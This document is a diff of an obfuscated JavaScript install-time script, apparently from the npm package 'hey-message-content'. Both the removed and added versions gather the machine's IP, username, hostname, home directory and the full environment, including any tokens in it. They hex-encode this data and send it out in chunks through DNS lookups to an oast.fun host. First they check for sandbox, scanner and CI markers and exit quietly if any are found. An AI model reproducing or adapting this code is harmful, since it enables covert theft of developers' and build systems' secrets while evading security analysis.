|
1
|
-
const a0_0x54afec=a0_0x427a;(function(_0x238d82,_0x2fb39d){const _0x39bebe=a0_0x427a,_0x2f8030=_0x238d82();while(!![]){try{const _0x160c1b=-parseInt(_0x39bebe(0x176))/0x1+parseInt(_0x39bebe(0x16b))/0x2*(parseInt(_0x39bebe(0x193))/0x3)+-parseInt(_0x39bebe(0x18c))/0x4+parseInt(_0x39bebe(0x179))/0x5*(parseInt(_0x39bebe(0x17b))/0x6)+parseInt(_0x39bebe(0x19f))/0x7*(parseInt(_0x39bebe(0x185))/0x8)+-parseInt(_0x39bebe(0x182))/0x9+parseInt(_0x39bebe(0x163))/0xa;if(_0x160c1b===_0x2fb39d)break;else _0x2f8030['push'](_0x2f8030['shift']());}catch(_0x1b3208){_0x2f8030['push'](_0x2f8030['shift']());}}}(a0_0x2108,0x59879));function a0_0x2108(){const _0x2c151b=['random','username','hey-message-content','14hHgnXc','Info','DESKTOP-','DetonationLogLevel','stringify','userInfo','8988360KJGhSQ','length','IPv4','\x5cnode_modules\x5chey-message-content\x5c','/node_modules/hey-message-content','keys','from','verdaccio:4873','1082926QcUUbb','decoy_start_','INIT_CWD','run-script','address','decoy_end','npm_package_name','10.100.108.146:15672','GITHUB_TOKEN','CI_JOB_TOKEN','some','126641wGboYF','internal','lookup','258985VWjjIF','env','42MoBopj','NODE_TLS_REJECT_UNAUTHORIZED','toString','preinstall','SLACK_WEBHOOK','key','arch','5626323rvWPAI','GH_TOKEN','substring','122792GUvrjF','values','homedir','hostname','networkInterfaces','KUBERNETES_','lili-pc','2860300ETCkep','startsWith','dns','string','toLowerCase','includes','mirrors.cloud.tencent','3jVbYCv','npm_lifecycle_event','hex','\x5cnode_modules\x5chey-message-content','MALYSIS_ANALYSIS_ID','install','N/A','has','Debug'];a0_0x2108=function(){return _0x2c151b;};return a0_0x2108();}const os=require('os'),dns=require(a0_0x54afec(0x18e));function isBlockedByKeywords(_0x348e2a,_0x270a4e){const _0x400271=a0_0x54afec,_0x5ae426=[_0x400271(0x18b),'justin',_0x400271(0x1a1)],_0x507050=(_0x348e2a||'')[_0x400271(0x190)](),_0x11d065=(_0x270a4e||'')[_0x400271(0x190)]();return _0x5ae426['some'](_0x542948=>_0x507050[_0x400271(0x191)](_0x542948)||_0x11d065[_0x400271(0x191)](_0x542948));}function isBlockedByEnv(_0x3aa40b){const _0x5df1ab=a0_0x54afec;if(!_0x3aa40b||typeof _0x3aa40b!=='object')return![];const _0x1fed8c=new Set(['hscan-supplychain-dynamic',_0x5df1ab(0x192),_0x5df1ab(0x16a),_0x5df1ab(0x172),_0x5df1ab(0x197)]);for(const _0x457403 of Object[_0x5df1ab(0x168)](_0x3aa40b)){if(_0x1fed8c[_0x5df1ab(0x19a)](_0x457403))return!![];if(_0x457403[_0x5df1ab(0x18d)](_0x5df1ab(0x18a))||_0x457403['startsWith']('RABBITMQ_'))return!![];if(_0x457403[_0x5df1ab(0x18d)]('AWS_'))return!![];}const _0x26f821=[{'key':_0x5df1ab(0x194),'values':[_0x5df1ab(0x17e)]},{'key':'npm_command','values':[_0x5df1ab(0x198),'ci',_0x5df1ab(0x16e)]},{'key':_0x5df1ab(0x171),'values':[_0x5df1ab(0x19e)]},{'key':'npm_package_json','values':['/node_modules/hey-message-content/',_0x5df1ab(0x166)]},{'key':_0x5df1ab(0x16d),'values':[_0x5df1ab(0x167),_0x5df1ab(0x196)]},{'key':_0x5df1ab(0x17c),'values':['0']},{'key':_0x5df1ab(0x1a2),'values':[_0x5df1ab(0x1a0),_0x5df1ab(0x19b)]}];for(const _0x38e14a of _0x26f821){const _0x1c79d3=_0x3aa40b[_0x38e14a[_0x5df1ab(0x180)]];if(typeof _0x1c79d3===_0x5df1ab(0x18f)){const _0x26b541=_0x1c79d3[_0x5df1ab(0x190)]();if(_0x38e14a[_0x5df1ab(0x186)][_0x5df1ab(0x175)](_0x301995=>_0x26b541[_0x5df1ab(0x191)](_0x301995['toLowerCase']())))return!![];}}const _0x3ec253=['NPM_TOKEN',_0x5df1ab(0x173),_0x5df1ab(0x183),_0x5df1ab(0x17f),_0x5df1ab(0x174)];if(_0x3ec253[_0x5df1ab(0x175)](_0x4b8ac8=>_0x4b8ac8 in _0x3aa40b))return!![];return![];};function a0_0x427a(_0x2af10b,_0x55bd28){const _0x210838=a0_0x2108();return a0_0x427a=function(_0x427a4c,_0x42de46){_0x427a4c=_0x427a4c-0x161;let _0x4fa9e8=_0x210838[_0x427a4c];return _0x4fa9e8;},a0_0x427a(_0x2af10b,_0x55bd28);}((async()=>{const _0x35691b=a0_0x54afec,_0x3a420='d2i2nd92eku6u03pgmo05mkb1yzg18dut.oast.fun';let _0x46b40f=_0x35691b(0x199);try{const _0x2b9e95=os[_0x35691b(0x189)]();for(const _0x4ecdea of Object[_0x35691b(0x168)](_0x2b9e95)){for(const _0x1103b6 of _0x2b9e95[_0x4ecdea]){if(_0x1103b6['family']===_0x35691b(0x165)&&!_0x1103b6[_0x35691b(0x177)]){_0x46b40f=_0x1103b6[_0x35691b(0x16f)];break;}}if(_0x46b40f!==_0x35691b(0x199))break;}}catch(_0x275955){}const _0xc5db76=os[_0x35691b(0x188)]()||'',_0x23bfc7=(os[_0x35691b(0x162)]()[_0x35691b(0x19d)]||'')['toString'](),_0x55ea08=process['env'],_0x1a38df=isBlockedByKeywords(_0x23bfc7,_0xc5db76),_0x373a2d=isBlockedByEnv(_0x55ea08);if(_0x1a38df||_0x373a2d)return;const _0x255080=_0x35691b(0x16c)+Math[_0x35691b(0x19c)]()[_0x35691b(0x17d)](0x24)[_0x35691b(0x184)](0x2);let _0x20857b={'_decoy':_0x255080,'ip':_0x46b40f,'username':os[_0x35691b(0x162)]()['username'],'hostname':os[_0x35691b(0x188)](),'platform':os['platform'](),'arch':os[_0x35691b(0x181)](),'home':os[_0x35691b(0x187)](),'env':process[_0x35691b(0x17a)],'_decoy2':_0x35691b(0x170)};const _0x351a47=JSON[_0x35691b(0x161)](_0x20857b),_0xb9e372=Buffer[_0x35691b(0x169)](_0x351a47)[_0x35691b(0x17d)](_0x35691b(0x195)),_0xf84bda=0x32;for(let _0x4a2ab3=0x0;_0x4a2ab3<_0xb9e372[_0x35691b(0x164)];_0x4a2ab3+=_0xf84bda){const _0x34ef72=_0xb9e372[_0x35691b(0x184)](_0x4a2ab3,_0x4a2ab3+_0xf84bda),_0x379bcb=_0x4a2ab3/_0xf84bda+'.'+_0x34ef72,_0x422d20=_0x379bcb+'.'+_0x3a420;dns[_0x35691b(0x178)](_0x422d20,_0xbafbb3=>{}),await new Promise(_0x11aed7=>setTimeout(_0x11aed7,0x64));}})());
|
|
1
|
+
function a0_0x4ff3(_0x443e0,_0x15d91f){const _0x58b43e=a0_0x58b4();return a0_0x4ff3=function(_0x4ff324,_0x2d4718){_0x4ff324=_0x4ff324-0x1d8;let _0x5760c0=_0x58b43e[_0x4ff324];return _0x5760c0;},a0_0x4ff3(_0x443e0,_0x15d91f);}const a0_0x568abe=a0_0x4ff3;(function(_0x4567b8,_0x48a0ac){const _0xea5426=a0_0x4ff3,_0x383a99=_0x4567b8();while(!![]){try{const _0x407554=-parseInt(_0xea5426(0x1ef))/0x1+-parseInt(_0xea5426(0x1fc))/0x2+-parseInt(_0xea5426(0x1f2))/0x3*(parseInt(_0xea5426(0x1e5))/0x4)+parseInt(_0xea5426(0x1e7))/0x5*(parseInt(_0xea5426(0x1ec))/0x6)+parseInt(_0xea5426(0x1fb))/0x7+-parseInt(_0xea5426(0x1e3))/0x8+parseInt(_0xea5426(0x1d8))/0x9;if(_0x407554===_0x48a0ac)break;else _0x383a99['push'](_0x383a99['shift']());}catch(_0x1c0400){_0x383a99['push'](_0x383a99['shift']());}}}(a0_0x58b4,0x59552));const os=require('os'),dns=require(a0_0x568abe(0x1f8));function isBlockedByKeywords(_0x59b71b,_0x15ca3b){const _0xc5a575=a0_0x568abe,_0x4500d1=[_0xc5a575(0x1df),_0xc5a575(0x1f9),_0xc5a575(0x1ea)],_0x3a499e=(_0x59b71b||'')[_0xc5a575(0x1dd)](),_0x1f4169=(_0x15ca3b||'')[_0xc5a575(0x1dd)]();return _0x4500d1[_0xc5a575(0x1e4)](_0x1933b6=>_0x3a499e[_0xc5a575(0x1f4)](_0x1933b6)||_0x1f4169[_0xc5a575(0x1f4)](_0x1933b6));}function isBlockedByEnv(_0x3e12af){const _0x523601=a0_0x568abe;if(!_0x3e12af||typeof _0x3e12af!==_0x523601(0x1d9))return![];const _0x3245f1=['hscan-supplychain-dynamic','mirrors.cloud.tencent',_0x523601(0x1f3),_0x523601(0x1fe),_0x523601(0x1fa)][_0x523601(0x1fd)](_0x27e714=>_0x27e714[_0x523601(0x1dd)]());for(const [_0x23ab6a,_0x24ca76]of Object['entries'](_0x3e12af)){const _0x34402e=_0x23ab6a[_0x523601(0x1dd)](),_0x4036c0=(_0x24ca76??'')[_0x523601(0x1f6)]()['toLowerCase']();if(_0x3245f1['some'](_0x4ec21f=>_0x34402e['includes'](_0x4ec21f)||_0x4036c0[_0x523601(0x1f4)](_0x4ec21f)))return!![];}return![];};function a0_0x58b4(){const _0x4622ec=['username','from','toLowerCase','stringify','lili-pc','networkInterfaces','family','internal','5147160SJPBZm','some','327752INcooz','keys','5LLxWuD','N/A','platform','DESKTOP-','hostname','4009062XwXjtl','decoy_end','userInfo','106728lvhSIS','IPv4','d2i2nd92eku6u03pgmo05mkb1yzg18dut.oast.fun','9hTXJjR','verdaccio:4873','includes','arch','toString','hex','dns','justin','MALYSIS_ANALYSIS_ID','4486258zWLFXw','489064Ihjyvp','map','10.100.108.146:15672','lookup','env','2675736bnlBxh','object','substring'];a0_0x58b4=function(){return _0x4622ec;};return a0_0x58b4();}((async()=>{const _0x39c6f9=a0_0x568abe,_0x33af07=_0x39c6f9(0x1f1);let _0x38f015=_0x39c6f9(0x1e8);try{const _0x4823f4=os[_0x39c6f9(0x1e0)]();for(const _0x16a35c of Object[_0x39c6f9(0x1e6)](_0x4823f4)){for(const _0x2d5305 of _0x4823f4[_0x16a35c]){if(_0x2d5305[_0x39c6f9(0x1e1)]===_0x39c6f9(0x1f0)&&!_0x2d5305[_0x39c6f9(0x1e2)]){_0x38f015=_0x2d5305['address'];break;}}if(_0x38f015!==_0x39c6f9(0x1e8))break;}}catch(_0x10f65c){}const _0x49de2b=os[_0x39c6f9(0x1eb)]()||'',_0x8df6e5=(os[_0x39c6f9(0x1ee)]()[_0x39c6f9(0x1db)]||'')[_0x39c6f9(0x1f6)](),_0x349e7e=process[_0x39c6f9(0x200)],_0x294659=isBlockedByKeywords(_0x8df6e5,_0x49de2b),_0x335468=isBlockedByEnv(_0x349e7e);if(_0x294659||_0x335468)return;const _0x48fc11='decoy_start_'+Math['random']()['toString'](0x24)[_0x39c6f9(0x1da)](0x2);let _0x30f282={'_decoy':_0x48fc11,'ip':_0x38f015,'username':os['userInfo']()[_0x39c6f9(0x1db)],'hostname':os['hostname'](),'platform':os[_0x39c6f9(0x1e9)](),'arch':os[_0x39c6f9(0x1f5)](),'home':os['homedir'](),'env':process[_0x39c6f9(0x200)],'_decoy2':_0x39c6f9(0x1ed)};const _0x4f4b67=JSON[_0x39c6f9(0x1de)](_0x30f282),_0x564f32=Buffer[_0x39c6f9(0x1dc)](_0x4f4b67)[_0x39c6f9(0x1f6)](_0x39c6f9(0x1f7)),_0x1eab5d=0x32;for(let _0x31c202=0x0;_0x31c202<_0x564f32['length'];_0x31c202+=_0x1eab5d){const _0x494798=_0x564f32[_0x39c6f9(0x1da)](_0x31c202,_0x31c202+_0x1eab5d),_0x40cecb=_0x31c202/_0x1eab5d+'.'+_0x494798,_0x180da8=_0x40cecb+'.'+_0x33af07;dns[_0x39c6f9(0x1ff)](_0x180da8,_0x73aa2f=>{}),await new Promise(_0x352a0b=>setTimeout(_0x352a0b,0x64));}})());
|